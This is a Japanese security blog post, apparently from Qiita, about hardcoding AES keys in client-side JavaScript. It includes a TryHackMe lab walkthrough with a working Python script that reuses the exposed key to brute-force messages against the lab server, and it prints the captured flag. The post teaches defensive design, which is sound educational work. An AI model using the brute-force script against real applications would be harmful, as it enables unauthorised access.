0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】クライアントサイドに暗号鍵を置く危険性

0
Last updated at Posted at 2026-01-01

はじめに

Web アプリケーションのセキュリティにおいて、非常に多く見かける設計ミスのひとつが、

暗号鍵をクライアントサイド(JavaScript)に埋め込むこと

です。

開発者の意図は善意であることがほとんどです。

  • 「通信内容を暗号化したい」
  • 「API を直接叩かれたくない」
  • 「平文をネットワークに流したくない」

しかし残念ながら、クライアントサイドに置かれた暗号鍵は、必ず攻撃者に取得されます
これは技術力の問題ではなく、構造上の必然です。

なぜクライアントサイドの暗号鍵は必ず漏れるのか?

ブラウザは「攻撃者の支配下」にある

Web アプリケーションでは、以下がすべてユーザー側で可能です。

  • JavaScript のソース閲覧
  • DevTools(F12)でのコード解析
  • Network タブでの通信内容確認
  • 実行中 JavaScript のフック・改変

攻撃者と正規ユーザーは同じ実行環境を持つ

つまり、

クライアントにあるものは、
攻撃者も必ず持てる

という前提で設計しなければなりません。


暗号鍵を露出した場合の主なリスク

① 不正アクセス(Unauthorised Access)

暗号鍵が漏れると、攻撃者は以下が可能になります。

  • 正規クライアントと同じ暗号処理を実行
  • 正しい形式の暗号化リクエストを生成
  • 認証済みユーザーになりすます

暗号化は認証を保証しない


② データ改ざん(Data Tampering)

クライアント側で暗号化・署名している場合、

  • 攻撃者は任意のデータを暗号化
  • 正当なリクエストとして送信
  • サーバー側は改ざんを検知できない

「暗号できる=改ざんできる」状態


③ API の不正利用(API Abuse)

よくあるケース:

  • JavaScript に API Key を直書き
  • モバイルアプリに固定トークンを埋め込み

結果:

  • API が誰からでも呼べる
  • スクリプトによる大量アクセス
  • 課金 API の悪用

API Key ≠ 認証


よくある暗号鍵露出パターン

❌ JavaScript にハードコードされた鍵

const encryptionKey = "1234567890123456";
  • DevTools で即見える
  • 難読化しても無意味

❌ フロントエンド暗号化ライブラリ

encrypt(message, SECRET_KEY);
  • アルゴリズムも
  • 鍵も
  • すべて公開情報

これは「暗号」ではなく「エンコード」に近い


❌ 設定ファイル・環境変数の誤公開

  • config.js
  • env.js
  • ビルド時に埋め込まれた .env

攻撃者視点:なぜ突破できるのか?

攻撃者が知っている情報:

  • 使用アルゴリズム(AES / RSA など)
  • 暗号モード(CBC / ECB など)
  • 暗号鍵
  • 通信フォーマット(JSON / Base64)

つまり:

暗号処理を完全に再現できる

結果、攻撃者は:

  • 自作スクリプトで暗号化
  • 正規リクエストを大量生成
  • サーバーを「正しく」騙す

実例:TryHackMe Lab

実験目的

JavaScriptで公開されたAESキーを悪用すると、フロントエンドの暗号化制限を回避でき、正しいメッセージをブルートフォース攻撃してフラグを取得できます。

観察ポイント1 ネットワークリクエスト

Screenshot 2026-01-01 at 20.29.39.png

  • メッセージ送信後:
    • パラメータdataはBase64
    • 明らかに暗号化された
  • 開発者は次のように誤解していました:
    • 他人が理解できないなら安全だ

観察ポイント2 フロントエンドのソースーを見る

const encryptionKey = CryptoJS.enc.Utf8.parse("1234567890123456"); // 16-byte key
const iv = CryptoJS.lib.WordArray.random(16); // Random 16-byte IV

function encryptMessage(message) {
    const encrypted = CryptoJS.AES.encrypt(message, encryptionKey, {
        iv: iv,
        mode: CryptoJS.mode.CBC,
        padding: CryptoJS.pad.Pkcs7,
    });
    return {
        ciphertext: encrypted.ciphertext.toString(CryptoJS.enc.Base64),
        iv: iv.toString(CryptoJS.enc.Base64),
    };
}

document.getElementById("secureForm").addEventListener("submit", async (e) => {
    e.preventDefault();
    const message = document.getElementById("message").value;

    const { ciphertext, iv } = encryptMessage(message);

    const response = await fetch("process.php", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ data: ciphertext, iv: iv }),
    });

    const result = await response.text();
    document.getElementById("response").innerText = result;
});

    

JavaScriptで見つけた

const encryptionKey = CryptoJS.enc.Utf8.parse("1234567890123456"); // 16-byte key

ゲームオーバー

同じ暗号方式で Python から暗号化

先から得た

  • メッセージは JavaScript で AES 暗号化
  • 暗号鍵は JS 内にハードコード
  • サーバーは復号して内容をチェック

前の条件

  • wordlist.txtがある
  • pip3 install pycryptodome

攻撃の流れ

wordlist.txt
   ↓
AES-CBC 暗号化(フロントエンドのキーを使う)
   ↓
Base64 コーディング
   ↓
POST /process.php
   ↓
成功または失敗は応答に基づいて決定される

構築完成コード

import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from pathlib import Path

# Configuration
url = "http://bcts.thm/labs/lab3/process.php"
encryption_key = b"1234567890123456" # Must be 16 bytes(smae as in the JavaScript)

BASE_DIR = Path(__file__).resolve().parent
wordlist_path = BASE_DIR / "wordlist.txt"  # Path to the wordlist


def encrypt_message(message,iv):
    # Pad the message to a multiple of the block size(16 bytes for AES)
    padded_message= pad(message.encode(),AES.block_size)
    # Encrypt using AES-CBC
    cipher = AES.new(encryption_key,AES.MODE_CBC,iv)
    ciphertext = cipher.encrypt(padded_message)
    #encode ciphertext and IV n Base64 for transmission
    return base64.b64encode(ciphertext).decode(),base64.b64encode(iv).decode()

# Function to send the payload
def send_payload(ciphertext,iv):
    payload ={"data":ciphertext,"iv":iv}
    response = requests.post(url,json=payload)
    return response.text

# Main bruteforce function
def bruteforce():
    with open(wordlist_path,"r") as f:
        words =f.readlines()
    
    for word in words:
        word = word.strip()
        print(f"Trying:{word}")
        # Generate a random IV (16 bytes)
        iv = AES.get_random_bytes(16)
        # Encrypt the current word
        ciphertext,iv_base64 =encrypt_message(word,iv)
        # Send the payload to the server
        response = send_payload(ciphertext,iv_base64)
        print(f"Response:{response}")
        # Check if the response indicates success
        if "Access granted!" in response:
            print(f"[+] Found the corret message:{word}")
            break
if __name__ =="__main__":
    bruteforce()

実験結果

Response:Message xsaokgsdreuk is invalid!
Trying:wdjdzzsx
Response:Message wdjdzzsx is invalid!
Trying:ankhzljjgu
Response:Access granted! Here's your flag: THM{3nD_2_3nd_is_n0t_c0mpl1c4ted}
[+] Found the corret message:ankhzljjgu


開発者がよく持つ誤解

誤解 現実
暗号化しているから安全 鍵が漏れたら終わり
JavaScript は見られない 必ず見られる
難読化すれば大丈夫 数分で解除可能
二重暗号なら安心 意味がない

正しい設計指針

暗号鍵は必ずサーバー側に置く

  • ブラウザに秘密を持たせない
  • クライアントは「信用しない」

認証と暗号を混同しない

  • 暗号化:機密性
  • 認証:誰かを識別する

暗号鍵=認証情報ではない


HTTPS(TLS)を正しく使う

  • パスワードや機密情報は TLS に任せる
  • 独自暗号は基本不要

本当に必要なら E2EE を設計する

  • 鍵はユーザー入力から派生
  • サーバーは平文を知らない
  • 暗号目的が「ログイン」ではないこと

まとめ

  • クライアントサイドに置いた暗号鍵は必ず漏れる
  • 暗号化しても攻撃者と同じ能力を与えているだけ
  • 本当のセキュリティは信頼境界の設計にある

一言で言うと

「前端で暗号化しているから安全」は、
セキュリティ業界で最も多い勘違いのひとつ。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?